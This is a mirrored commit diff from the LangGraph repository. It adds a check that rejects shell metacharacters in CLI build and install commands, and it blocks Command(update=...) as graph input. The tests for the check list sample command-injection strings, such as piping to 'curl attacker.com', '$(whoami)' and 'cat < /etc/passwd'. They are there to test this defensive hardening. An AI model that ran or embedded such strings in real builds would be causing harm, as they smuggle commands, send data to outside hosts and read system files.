mirror of
https://github.com/langchain-ai/langgraph.git
synced 2026-10-19 06:23:43 +02:00
Compare commits
3
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9f8e2c83ac | ||
|
|
4826222d4d | ||
|
|
e00a027579 |
@@ -409,6 +409,18 @@ def build(
|
|||||||
install_command: str | None,
|
install_command: str | None,
|
||||||
build_command: str | None,
|
build_command: str | None,
|
||||||
):
|
):
|
||||||
|
if install_command and langgraph_cli.config.has_disallowed_build_command_content(
|
||||||
|
install_command
|
||||||
|
):
|
||||||
|
raise click.UsageError(
|
||||||
|
"install_command contains disallowed characters or patterns."
|
||||||
|
)
|
||||||
|
if build_command and langgraph_cli.config.has_disallowed_build_command_content(
|
||||||
|
build_command
|
||||||
|
):
|
||||||
|
raise click.UsageError(
|
||||||
|
"build_command contains disallowed characters or patterns."
|
||||||
|
)
|
||||||
with Runner() as runner, Progress(message="Pulling...") as set:
|
with Runner() as runner, Progress(message="Pulling...") as set:
|
||||||
if shutil.which("docker") is None:
|
if shutil.which("docker") is None:
|
||||||
raise click.UsageError("Docker not installed") from None
|
raise click.UsageError("Docker not installed") from None
|
||||||
|
|||||||
@@ -13,6 +13,36 @@ from langgraph_cli.schemas import Config, Distros
|
|||||||
MIN_NODE_VERSION = "20"
|
MIN_NODE_VERSION = "20"
|
||||||
DEFAULT_NODE_VERSION = "20"
|
DEFAULT_NODE_VERSION = "20"
|
||||||
|
|
||||||
|
DISALLOWED_BUILD_COMMAND_CHARS = [
|
||||||
|
'"',
|
||||||
|
"`",
|
||||||
|
"\\",
|
||||||
|
"\n",
|
||||||
|
"\r",
|
||||||
|
"\0",
|
||||||
|
"\t",
|
||||||
|
"|",
|
||||||
|
";",
|
||||||
|
"$",
|
||||||
|
">",
|
||||||
|
"<",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Regex pattern matching a single "&" that is NOT part of "&&".
|
||||||
|
# This blocks background execution (cmd &) while allowing command
|
||||||
|
# chaining (cmd1 && cmd2) which is common in build commands.
|
||||||
|
_SINGLE_AMPERSAND_RE = re.compile(r"(?<!&)&(?:&&)*(?!&)")
|
||||||
|
|
||||||
|
|
||||||
|
def has_disallowed_build_command_content(command: str) -> bool:
|
||||||
|
"""Check if a command string contains disallowed characters or patterns."""
|
||||||
|
if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS):
|
||||||
|
return True
|
||||||
|
if _SINGLE_AMPERSAND_RE.search(command):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
MIN_PYTHON_VERSION = "3.11"
|
MIN_PYTHON_VERSION = "3.11"
|
||||||
DEFAULT_PYTHON_VERSION = "3.11"
|
DEFAULT_PYTHON_VERSION = "3.11"
|
||||||
|
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ from langgraph_cli.config import (
|
|||||||
config_to_compose,
|
config_to_compose,
|
||||||
config_to_docker,
|
config_to_docker,
|
||||||
docker_tag,
|
docker_tag,
|
||||||
|
has_disallowed_build_command_content,
|
||||||
validate_config,
|
validate_config,
|
||||||
validate_config_file,
|
validate_config_file,
|
||||||
)
|
)
|
||||||
@@ -1692,3 +1693,49 @@ def test_config_to_compose_with_api_version():
|
|||||||
|
|
||||||
# Check that the compose file includes the correct FROM line with api_version
|
# Check that the compose file includes the correct FROM line with api_version
|
||||||
assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str
|
assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str
|
||||||
|
|
||||||
|
|
||||||
|
class TestHasDisallowedBuildCommandContent:
|
||||||
|
"""Tests for has_disallowed_build_command_content."""
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
"char",
|
||||||
|
['"', "`", "\\", "\n", "\r", "\0", "\t", "|", ";", "$", ">", "<"],
|
||||||
|
)
|
||||||
|
def test_disallowed_chars_rejected(self, char: str) -> None:
|
||||||
|
assert has_disallowed_build_command_content(f"npm install{char}some-package")
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
"cmd",
|
||||||
|
[
|
||||||
|
"pip install foo | curl attacker.com",
|
||||||
|
"npm install; curl evil.com",
|
||||||
|
"pip install $(whoami)",
|
||||||
|
"pip install ${IFS}evil",
|
||||||
|
"curl evil.com & disown",
|
||||||
|
"npm install & curl evil.com",
|
||||||
|
"pip install > /dev/null",
|
||||||
|
"cat < /etc/passwd",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_injection_patterns_rejected(self, cmd: str) -> None:
|
||||||
|
assert has_disallowed_build_command_content(cmd)
|
||||||
|
|
||||||
|
def test_single_ampersand_rejected(self) -> None:
|
||||||
|
assert has_disallowed_build_command_content("npm install & curl evil.com")
|
||||||
|
|
||||||
|
def test_double_ampersand_allowed(self) -> None:
|
||||||
|
assert not has_disallowed_build_command_content("npm install && npm run build")
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
"cmd",
|
||||||
|
[
|
||||||
|
"npm install",
|
||||||
|
"pnpm install --frozen-lockfile",
|
||||||
|
"next build && next export",
|
||||||
|
"npm ci && npm run build",
|
||||||
|
"pip install -e '.[dev]'",
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_valid_commands_allowed(self, cmd: str) -> None:
|
||||||
|
assert not has_disallowed_build_command_content(cmd)
|
||||||
|
|||||||
@@ -637,6 +637,14 @@ class PregelLoop:
|
|||||||
|
|
||||||
# map command to writes
|
# map command to writes
|
||||||
if isinstance(self.input, Command):
|
if isinstance(self.input, Command):
|
||||||
|
if self.input.update:
|
||||||
|
raise ValueError(
|
||||||
|
"Command(update=...) is not allowed as graph input. "
|
||||||
|
"To modify state before resuming, use graph.update_state(...) "
|
||||||
|
"to fork the graph state, then resume with Command(resume=...). "
|
||||||
|
"Note: Command(update=...) can still be used as a return "
|
||||||
|
"value from a node to update graph state during execution."
|
||||||
|
)
|
||||||
if (resume := self.input.resume) is not None:
|
if (resume := self.input.resume) is not None:
|
||||||
if not self.checkpointer:
|
if not self.checkpointer:
|
||||||
raise RuntimeError(
|
raise RuntimeError(
|
||||||
|
|||||||
@@ -5850,6 +5850,31 @@ def test_task_before_interrupt_resume(
|
|||||||
assert result == {"answers": ["answer1", "answer2"]}
|
assert result == {"answers": ["answer1", "answer2"]}
|
||||||
|
|
||||||
|
|
||||||
|
def test_command_with_update_input_raises(
|
||||||
|
sync_checkpointer: BaseCheckpointSaver,
|
||||||
|
) -> None:
|
||||||
|
"""Test that Command(update=...) raises ValueError when used as graph input."""
|
||||||
|
|
||||||
|
@entrypoint(checkpointer=sync_checkpointer)
|
||||||
|
def workflow(inputs: str) -> str:
|
||||||
|
answer = interrupt("question")
|
||||||
|
return answer
|
||||||
|
|
||||||
|
config = {"configurable": {"thread_id": "1"}}
|
||||||
|
|
||||||
|
# First invocation triggers interrupt
|
||||||
|
result = workflow.invoke("start", config=config)
|
||||||
|
assert "__interrupt__" in result
|
||||||
|
|
||||||
|
# Command with update (and resume) should raise
|
||||||
|
with pytest.raises(ValueError, match="Command\\(update="):
|
||||||
|
workflow.invoke(Command(resume="answer", update={"foo": "bar"}), config=config)
|
||||||
|
|
||||||
|
# Command with update only (no resume) should also raise
|
||||||
|
with pytest.raises(ValueError, match="Command\\(update="):
|
||||||
|
workflow.invoke(Command(update={"foo": "bar"}), config=config)
|
||||||
|
|
||||||
|
|
||||||
def test_multiple_tasks_before_interrupt_resume(
|
def test_multiple_tasks_before_interrupt_resume(
|
||||||
sync_checkpointer: BaseCheckpointSaver,
|
sync_checkpointer: BaseCheckpointSaver,
|
||||||
) -> None:
|
) -> None:
|
||||||
|
|||||||
Reference in New Issue
Block a user